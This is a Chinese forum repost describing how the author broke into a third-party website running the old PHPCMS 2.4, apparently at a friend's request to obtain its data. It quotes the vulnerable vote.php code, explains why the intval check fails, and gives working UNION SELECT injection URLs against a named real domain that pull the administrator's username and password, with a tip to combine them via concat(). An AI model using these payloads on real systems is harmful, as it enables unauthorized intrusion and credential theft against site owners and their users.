• 设为首页
  • 收藏本站
  • 积分充值
  • VIP赞助
  • 手机版
  • 微博
  • 微信
    微信公众号 添加方式:
    1:搜索微信号(888888
    2:扫描左侧二维码
  • 快捷导航
    福建二哥 门户 查看主题

    PHPCMS2.4中一个有趣的洞洞

    发布者: 您的网友已离线 | 发布时间: 2025-6-28 23:00| 查看数: 70| 评论数: 0|帖子模式

    今天,朋友丢来一个站,说想拿点资料,但搞了很久老搞不下,叫我帮忙看看
    打开一看发现是phpcms2.4,很旧的版本了~~
    搞了一下发现存在“上传漏洞”和“远程文件包含漏洞”的页面都被删了,晕,自己挖个把,反正版本旧
    挖了1个多小时,发现vote.php中有这样一段代码:
    ...省略....
    case 'result':
    if(!intval($voteid)){
    message('参数错误!',$PHP_REFERER);
    }  
    $query = $db->query("SELECT * FROM $table_vote_subject where voteid='$voteid' and passed=1");
    $vote=$db->fetch_array($query);
    $subject=$vote[subject];
    $totalnumber=$vote[totalnumber];
    $fromdate=date("Y-m-d",$vote[fromtime]);
    $todate=$vote[totime] ? date("Y-m-d",$vote[totime]) : "";
    $query = $db->query("SELECT * FROM $table_vote_option where voteid='$voteid'");
    while($op=$db->fetch_array($query)){
    $op[percent1]=$totalnumber ? round(100*$op[number]/$vote[totalnumber],2)."%" : "0%";
    $op[percent2]=$totalnumber ? (100-round(100*$op[number]/$vote[totalnumber],0))."%" : "100%";
    $ops[]=$op;
    }
    include template('vote_result');
    break;
    }
    ....省略....
    代码没问题把?真的吗?再仔细看看!!
    “if(!intval($voteid))” 这句代码的意思是啥?
    如果提交过来的数据是整型并且不存在于数据库中的话,就返回“参数错误”。
    那如果我们提交的数据不是整型呢?如果我们提交的数据不是整型,那么不管提交的数据是否存在于数据库中都不会返回“参数错误”的提示了,这样,注入漏洞就产生了~~哈哈
    分别提交
    “http://www.cndrt.cn/vote.php?action=result&;voteid=8 and 1=2 union select 1,username,3,4,5,6,7,8,9,10,11,12,13 from phpcms_member where userid=1/*””
    “http://www.cndrt.cn/vote.php?action=result&;voteid=8 and 1=2 union select 1,password,3,4,5,6,7,8,9,10,11,12,13 from phpcms_member where userid=1/*””
    就能查出管理员了
    当然你也可以用concat()把账号密码同时抓出来~

    来源:https://www.jb51.net/hack/5464.html
    免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

    最新评论

    浏览过的版块

    QQ Archiver 手机版 小黑屋 福建二哥 ( 闽ICP备2022004717号|闽公网安备35052402000345号 )

    Powered by Discuz! X3.5 © 2001-2023

    快速回复 返回顶部 返回列表